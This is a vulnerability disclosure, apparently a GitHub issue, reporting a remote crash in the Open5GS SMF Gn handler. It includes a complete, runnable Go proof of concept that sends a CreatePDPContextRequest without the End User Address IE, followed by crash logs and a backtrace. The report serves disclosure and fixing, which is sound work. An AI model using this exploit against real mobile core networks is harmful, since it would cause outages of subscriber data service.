| Description | ### Description
The SMF (Gn handler) can be crashed by sending a GTPv1-C CreatePDPContextRequest that omits the End User Address (EUA) IE. The request can still pass earlier “mandatory IE” checks, but later the handler dereferences/uses req->end_user_address without a presence check and hits an assertion:
smf_gn_handle_create_pdp_context_request: Assertion \eua' failed. (../src/smf/gn-handler.c:246)`
This causes the open5gs-smfd process to abort, resulting in a remote denial of service (DoS) on the SMF Gn interface.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
package main
import (
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-gtp/gtpv1"
"github.com/wmnsk/go-gtp/gtpv1/ie"
"github.com/wmnsk/go-gtp/gtpv1/message"
)
var (
smfIP = flag.String("smf", "10.44.44.4", "SMF IP address (Gn interface)")
smfPort = flag.Int("port", 2123, "SMF GTP-C port")
sgsnIP = flag.String("sgsn", "10.44.44.1", "SGSN IP address (local)")
)
func main() {
flag.Parse()
if *smfIP == "" {
log.Fatal("Error: -smf parameter is required (SMF IP address)")
}
log.Printf("[*] Vuln-PA2-09 PoC: Missing end_user_address IE in CreatePDPContextRequest")
log.Printf("[*] Target: SMF at %s:%d", *smfIP, *smfPort)
log.Printf("[*] Attacker: SGSN at %s", *sgsnIP)
// Create UDP connection for GTPv1-C
// Let the system choose the source IP automatically
raddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *smfIP, *smfPort))
if err != nil {
log.Fatalf("Failed to resolve remote address: %v", err)
}
conn, err := net.DialUDP("udp", nil, raddr)
if err != nil {
log.Fatalf("Failed to create UDP connection: %v", err)
}
defer conn.Close()
localAddr := conn.LocalAddr().(*net.UDPAddr)
log.Printf("[*] Connection established from %s to %s", localAddr, raddr)
log.Println("[*] Connection established")
// Craft CreatePDPContextRequest WITHOUT end_user_address IE
log.Println("[*] Crafting CreatePDPContextRequest WITHOUT end_user_address...")
imsi := "001010123456789"
msisdn := "123456789"
apn := "internet"
// Build message with mandatory IEs except end_user_address
// QoS Profile (mandatory IE that was missing before)
// Basic QoS: Delay class 4, Reliability class 3, Peak throughput 16kbps, Precedence 2, Mean throughput best effort
qosProfile := []byte{
0x11, 0x96, 0x1f, 0x00, // Basic QoS parameters (4-byte minimal length)
}
req := message.NewCreatePDPContextRequest(
0, 0, // TEID and sequence
ie.NewIMSI(imsi),
ie.NewRouteingAreaIdentity("001", "01", 0, 1),
ie.NewRecovery(0),
ie.NewSelectionMode(gtpv1.SelectionModeMSorNetworkProvidedAPNSubscribedVerified),
ie.NewTEIDDataI(0x12345678),
ie.NewTEIDCPlane(0x87654321),
ie.NewNSAPI(5),
// Intentionally OMITTING: ie.NewEndUserAddress(...)
ie.NewAccessPointName(apn),
ie.NewGSNAddress(*sgsnIP),
ie.NewGSNAddress(*sgsnIP),
ie.NewMSISDN(msisdn),
ie.NewQoSProfile(qosProfile), // Added: Mandatory QoS Profile
ie.NewRATType(gtpv1.RatTypeEUTRAN), // Added: Mandatory RAT Type
ie.NewUserLocationInformationWithCGI("001", "01", 1, 1), // Added: Mandatory ULI with CGI
)
log.Println("[+] CreatePDPContextRequest crafted (WITHOUT end_user_address IE)")
log.Println("[*] Vulnerability Trigger:")
log.Println(" 1. SMF receives CreatePDPContextRequest on Gn interface")
log.Println(" 2. Passes mandatory IE checks at lines 76-111")
log.Println(" 3. NO presence check for end_user_address before line 245")
log.Println(" 4. Line 245: eua = req->end_user_address.data (NULL)")
log.Println(" 5. Line 246: ogs_assert(eua) triggers")
log.Println(" 6. Process aborts, causing DoS")
// Serialize and send
buf := make([]byte, req.MarshalLen())
if err := req.MarshalTo(buf); err != nil {
log.Fatalf("Failed to serialize message: %v", err)
}
log.Printf("[*] Sending CreatePDPContextRequest (%d bytes)...", len(buf))
log.Printf("[*] Message hex dump (first 100 bytes):")
for i := 0; i < len(buf) && i < 100; i += 16 {
end := i + 16
if end > len(buf) {
end = len(buf)
}
if end > 100 {
end = 100
}
log.Printf(" %02x: % x", i, buf[i:end])
}
_, err = conn.Write(buf)
if err != nil {
log.Fatalf("Failed to send message: %v", err)
}
log.Println("[+] CreatePDPContextRequest sent successfully")
log.Println("[*] Expected behavior:")
log.Println(" - SMF crashes with assertion failure")
log.Println(" - Check SMF logs for: 'ogs_assert(eua)' at gn-handler.c:246")
log.Println("")
log.Println("[*] Waiting for response (or crash indication)...")
// Wait for response or timeout
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
respBuf := make([]byte, 1500)
n, err := conn.Read(respBuf)
if err != nil {
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
log.Println("[!] Timeout - No response received (likely crashed)")
log.Println("[+] Vulnerability likely triggered successfully")
} else {
log.Printf("[!] Read error: %v", err)
}
} else {
log.Printf("[*] Received response (%d bytes)", n)
log.Println("[*] SMF responded - vulnerability may not have triggered")
log.Println(" (Presence check might exist or assertion disabled)")
}
log.Println("\n[*] PoC execution completed")
log.Println("[*] Verify SMF logs for assertion failure")
}
```
3. Download required libraries: `go mod tidy`
4. Run the program with the SMF address: `go run ./main.go`
### Logs
```shell
01/13 14:04:17.377: [smf] DEBUG: smf_state_operational(): SMF_EVT_GN_MESSAGE (../src/smf/smf-sm.c:89)
01/13 14:04:17.377: [gtp] DEBUG: [0] Cannot find xact type 16 from GTPv1 peer [10.44.44.1]:51228 (../lib/gtp/xact.c:931)
01/13 14:04:17.377: [gtp] DEBUG: [0] REMOTE Create peer [10.44.44.1]:51228 (../lib/gtp/xact.c:223)
01/13 14:04:17.377: [gtp] DEBUG: [0] REMOTE Receive peer [10.44.44.1]:51228 (../lib/gtp/xact.c:937)
01/13 14:04:17.377: [gtp] DEBUG: [0] REMOTE UPD RX-16 peer [10.44.44.1]:51228 (../lib/gtp/xact.c:460)
01/13 14:04:17.377: [smf] INFO: [Added] Number of SMF-UEs is now 1 (../src/smf/context.c:1033)
01/13 14:04:17.377: [smf] DEBUG: smf_gsm_state_initial(): ENTRY (../src/smf/gsm-sm.c:183)
01/13 14:04:17.377: [smf] INFO: [Added] Number of SMF-Sessions is now 1 (../src/smf/context.c:3203)
01/13 14:04:17.377: [smf] DEBUG: smf_gsm_state_initial(): SMF_EVT_GN_MESSAGE (../src/smf/gsm-sm.c:183)
01/13 14:04:17.377: [smf] DEBUG: Create PDP Context Request (../src/smf/gn-handler.c:72)
01/13 14:04:17.377: [diam] DEBUG: 'pcrf.localdomain' STATE is OPEN (../lib/diameter/common/util.c:37)
01/13 14:04:17.377: [smf] DEBUG: SGW_S5C_TEID[0x87654321] SMF_N4_TEID[0x63a] (../src/smf/gn-handler.c:141)
01/13 14:04:17.379: [smf] FATAL: smf_gn_handle_create_pdp_context_request: Assertion `eua' failed. (../src/smf/gn-handler.c:246)
01/13 14:04:17.379: [core] FATAL: backtrace() returned 10 addresses (../lib/core/ogs-abort.c:37)
open5gs-smfd(+0x42e1f) [0x5cc1d9a8be1f]
open5gs-smfd(+0x2c7c1) [0x5cc1d9a757c1]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7e219dfa743f]
open5gs-smfd(+0x26c6b) [0x5cc1d9a6fc6b]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7e219dfa743f]
open5gs-smfd(+0x105a7) [0x5cc1d9a595a7]
/usr/local/lib/libogscore.so.2(+0x119a3) [0x7e219df979a3]
/lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7e219ceb2ac3]
/lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7e219cf43a74]
```
### Expected behaviour
SMF should validate that End User Address (EUA) IE is present and well-formed before accessing it.
If EUA is missing, SMF should reject the request cleanly (e.g., send a GTP error response such as “Mandatory IE Missing”) and continue running.
### Observed Behaviour
Sending a CreatePDPContextRequest without the End User Address IE causes SMF to abort via assertion failure:
smf_gn_handle_create_pdp_context_request: Assertion \eua' failed. (../src/smf/gn-handler.c:246)`
The SMF process terminates (SIGABRT), leading to service interruption / DoS.
### eNodeB/gNodeB
No
### UE Models and versions
No |
|---|